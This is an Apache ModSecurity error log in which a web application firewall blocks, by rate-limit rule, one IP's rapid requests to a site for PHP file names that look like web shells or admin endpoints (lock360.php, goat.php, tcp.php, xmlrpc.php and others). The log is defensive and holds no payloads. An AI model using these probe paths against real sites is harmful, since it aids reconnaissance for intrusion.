[Fri Feb 13 18:57:53.788094 2026] [:error] [pid 47143:tid 47237] [client 51.103.136.17:36335] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trd.php"] [unique_id "aY8DschV30NbMarHJLs5TwAAAlc"]
[Fri Feb 13 18:57:54.259109 2026] [:error] [pid 46821:tid 46830] [client 51.103.136.17:22510] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trd.php"] [unique_id "aY8Dso6G1N5YSq0J0gcHxAAAAUc"]
[Fri Feb 13 18:57:54.733451 2026] [:error] [pid 46821:tid 46832] [client 51.103.136.17:52723] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trd.php"] [unique_id "aY8Dso6G1N5YSq0J0gcHxQAAAUk"]
[Fri Feb 13 18:57:55.206701 2026] [:error] [pid 51243:tid 51267] [client 51.103.136.17:42187] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trd.php"] [unique_id "aY8Ds8im7ZTAHzi7xZvB0AAAARY"]
[Fri Feb 13 18:57:55.689090 2026] [:error] [pid 47575:tid 47587] [client 51.103.136.17:25570] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aY8DswIPBuXb07mA_mS7vwAAAsc"]
[Fri Feb 13 18:57:56.165060 2026] [:error] [pid 46821:tid 46839] [client 51.103.136.17:23697] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aY8DtI6G1N5YSq0J0gcHyAAAAVA"]
[Fri Feb 13 18:57:56.636662 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:22471] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aY8DtEbWJwYCVF39z6sy8wAAAdI"]
[Fri Feb 13 18:57:57.107614 2026] [:error] [pid 47080:tid 47095] [client 51.103.136.17:39359] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aY8DtUbWJwYCVF39z6sy9QAAAcc"]
[Fri Feb 13 18:57:57.583833 2026] [:error] [pid 47080:tid 47089] [client 51.103.136.17:25567] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aY8DtUbWJwYCVF39z6sy9wAAAcE"]
[Fri Feb 13 18:57:58.054585 2026] [:error] [pid 49223:tid 49249] [client 51.103.136.17:60173] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aY8Dth8A_fZBamNLnfVMWwAAABE"]
[Fri Feb 13 18:57:58.565785 2026] [:error] [pid 47080:tid 47091] [client 51.103.136.17:61763] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aY8DtkbWJwYCVF39z6sy-QAAAcM"]
[Fri Feb 13 18:57:59.039141 2026] [:error] [pid 18097:tid 18123] [client 51.103.136.17:51013] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aY8Dt3FzYiQ_BfaDDlYh0gAAAZg"]
[Fri Feb 13 18:57:59.529206 2026] [:error] [pid 51243:tid 51265] [client 51.103.136.17:23694] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i.php"] [unique_id "aY8Dt8im7ZTAHzi7xZvB1wAAARQ"]
[Fri Feb 13 18:58:00.003988 2026] [:error] [pid 49223:tid 49247] [client 51.103.136.17:43520] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i.php"] [unique_id "aY8DuB8A_fZBamNLnfVMXwAAAA8"]
[Fri Feb 13 18:58:00.476048 2026] [:error] [pid 18097:tid 18120] [client 51.103.136.17:20712] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i.php"] [unique_id "aY8DuHFzYiQ_BfaDDlYh1AAAAZU"]
[Fri Feb 13 18:58:00.950262 2026] [:error] [pid 18097:tid 18112] [client 51.103.136.17:20663] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i.php"] [unique_id "aY8DuHFzYiQ_BfaDDlYh1QAAAY0"]
[Fri Feb 13 18:58:01.423584 2026] [:error] [pid 18097:tid 18103] [client 51.103.136.17:51047] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/admin.php"] [unique_id "aY8DuXFzYiQ_BfaDDlYh1wAAAYQ"]
[Fri Feb 13 18:58:01.895589 2026] [:error] [pid 47080:tid 47102] [client 51.103.136.17:20689] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/admin.php"] [unique_id "aY8DuUbWJwYCVF39z6sy_wAAAc4"]
[Fri Feb 13 18:58:02.370174 2026] [:error] [pid 47080:tid 47111] [client 51.103.136.17:52727] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/admin.php"] [unique_id "aY8DukbWJwYCVF39z6szAQAAAdc"]
[Fri Feb 13 18:58:02.842048 2026] [:error] [pid 49223:tid 49256] [client 51.103.136.17:21781] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/admin.php"] [unique_id "aY8Duh8A_fZBamNLnfVMYgAAABg"]
[Fri Feb 13 18:58:03.313930 2026] [:error] [pid 51243:tid 51259] [client 51.103.136.17:20617] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8Du8im7ZTAHzi7xZvB3gAAAQ4"]
[Fri Feb 13 18:58:03.787522 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:5335] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8Du0bWJwYCVF39z6szAwAAAdI"]
[Fri Feb 13 18:58:04.259738 2026] [:error] [pid 49335:tid 49340] [client 51.103.136.17:36291] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8DvKp--SFY2nwOiqlfCgAAAMM"]
[Fri Feb 13 18:58:04.734248 2026] [:error] [pid 49335:tid 49351] [client 51.103.136.17:43523] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8DvKp--SFY2nwOiqlfDAAAAM4"]
[Fri Feb 13 18:58:05.206214 2026] [:error] [pid 49223:tid 49235] [client 51.103.136.17:5319] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aw.php"] [unique_id "aY8DvR8A_fZBamNLnfVMaAAAAAM"]
[Fri Feb 13 18:58:05.685098 2026] [:error] [pid 47080:tid 47104] [client 51.103.136.17:23687] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aw.php"] [unique_id "aY8DvUbWJwYCVF39z6szCQAAAdA"]
[Fri Feb 13 18:58:06.166364 2026] [:error] [pid 47358:tid 47385] [client 51.103.136.17:50956] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aw.php"] [unique_id "aY8DvsQFBuVVUQTESUwHfgAAApM"]
[Fri Feb 13 18:58:06.701794 2026] [:error] [pid 51243:tid 51267] [client 51.103.136.17:21830] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aw.php"] [unique_id "aY8Dvsim7ZTAHzi7xZvB3wAAARY"]
[Fri Feb 13 18:58:07.540208 2026] [:error] [pid 47080:tid 47096] [client 51.103.136.17:42199] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aY8Dv0bWJwYCVF39z6szDgAAAcg"]
[Fri Feb 13 18:58:08.016104 2026] [:error] [pid 49225:tid 49301] [client 51.103.136.17:36316] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aY8DwDwH8-zGxtAd3jv9ZwAAAIc"]
[Fri Feb 13 18:58:08.487173 2026] [:error] [pid 47080:tid 47105] [client 51.103.136.17:39317] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aY8DwEbWJwYCVF39z6szEgAAAdE"]
[Fri Feb 13 18:58:08.958659 2026] [:error] [pid 49225:tid 49303] [client 51.103.136.17:35285] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aY8DwDwH8-zGxtAd3jv9aAAAAIk"]
[Fri Feb 13 18:58:09.429290 2026] [:error] [pid 49225:tid 49316] [client 51.103.136.17:26797] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aY8DwTwH8-zGxtAd3jv9aQAAAJY"]
[Fri Feb 13 18:58:09.902936 2026] [:error] [pid 51243:tid 51256] [client 51.103.136.17:50317] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aY8Dwcim7ZTAHzi7xZvB4QAAAQs"]
[Fri Feb 13 18:58:10.379858 2026] [:error] [pid 51243:tid 51263] [client 51.103.136.17:51000] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aY8Dwsim7ZTAHzi7xZvB4gAAARI"]
[Fri Feb 13 18:58:10.855725 2026] [:error] [pid 47358:tid 47376] [client 51.103.136.17:49244] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aY8DwsQFBuVVUQTESUwHhAAAAoo"]
[Fri Feb 13 18:58:11.326155 2026] [:error] [pid 47575:tid 47590] [client 51.103.136.17:42237] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aY8DwwIPBuXb07mA_mS7ywAAAso"]
[Fri Feb 13 18:58:11.796504 2026] [:error] [pid 47575:tid 47605] [client 51.103.136.17:56347] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aY8DwwIPBuXb07mA_mS7zwAAAtg"]
[Fri Feb 13 18:58:12.275340 2026] [:error] [pid 47080:tid 47104] [client 51.103.136.17:44507] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aY8DxEbWJwYCVF39z6szGwAAAdA"]
[Fri Feb 13 18:58:12.745748 2026] [:error] [pid 47143:tid 47234] [client 51.103.136.17:21824] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aY8DxMhV30NbMarHJLs5WwAAAlQ"]
[Fri Feb 13 18:58:13.220165 2026] [:error] [pid 47143:tid 47230] [client 51.103.136.17:52279] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aY8DxchV30NbMarHJLs5XAAAAlA"]
[Fri Feb 13 18:58:13.692619 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:56351] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aY8DxR8A_fZBamNLnfVMdAAAAA4"]
[Fri Feb 13 18:58:14.167725 2026] [:error] [pid 46821:tid 46842] [client 51.103.136.17:20640] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aY8Dxo6G1N5YSq0J0gcH5wAAAVM"]
[Fri Feb 13 18:58:14.641299 2026] [:error] [pid 47575:tid 47598] [client 51.103.136.17:23738] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aY8DxgIPBuXb07mA_mS70wAAAtE"]
[Fri Feb 13 18:58:15.113636 2026] [:error] [pid 47143:tid 47222] [client 51.103.136.17:20623] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aY8Dx8hV30NbMarHJLs5YAAAAkg"]
[Fri Feb 13 18:58:15.586632 2026] [:error] [pid 47143:tid 47226] [client 51.103.136.17:23688] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aY8Dx8hV30NbMarHJLs5YQAAAkw"]
[Fri Feb 13 18:58:16.059266 2026] [:error] [pid 47080:tid 47096] [client 51.103.136.17:50343] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aY8DyEbWJwYCVF39z6szHwAAAcg"]
[Fri Feb 13 18:58:16.547975 2026] [:error] [pid 47143:tid 47231] [client 51.103.136.17:42225] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tcp.php"] [unique_id "aY8DyMhV30NbMarHJLs5YwAAAlE"]
[Fri Feb 13 18:58:17.018300 2026] [:error] [pid 47080:tid 47102] [client 51.103.136.17:51060] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aY8DyUbWJwYCVF39z6szIAAAAc4"]
[Fri Feb 13 18:58:17.518338 2026] [:error] [pid 47080:tid 47101] [client 51.103.136.17:42185] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aY8DyUbWJwYCVF39z6szJAAAAc0"]
[Fri Feb 13 18:58:18.016373 2026] [:error] [pid 49335:tid 49346] [client 51.103.136.17:50962] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aY8Dyqp--SFY2nwOiqlfDwAAAMk"]
[Fri Feb 13 18:58:18.490684 2026] [:error] [pid 51243:tid 51249] [client 51.103.136.17:42238] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aY8Dysim7ZTAHzi7xZvB6gAAAQQ"]
[Fri Feb 13 18:58:18.962959 2026] [:error] [pid 18097:tid 18103] [client 51.103.136.17:50315] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aY8DynFzYiQ_BfaDDlYh6QAAAYQ"]
[Fri Feb 13 18:58:19.434250 2026] [:error] [pid 18097:tid 18104] [client 51.103.136.17:20681] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aY8Dy3FzYiQ_BfaDDlYh6wAAAYU"]
[Fri Feb 13 18:58:19.906397 2026] [:error] [pid 47080:tid 47093] [client 51.103.136.17:38907] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aY8Dy0bWJwYCVF39z6szJwAAAcU"]
[Fri Feb 13 18:58:20.378634 2026] [:error] [pid 49225:tid 49307] [client 51.103.136.17:56338] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aY8DzDwH8-zGxtAd3jv9dwAAAI0"]
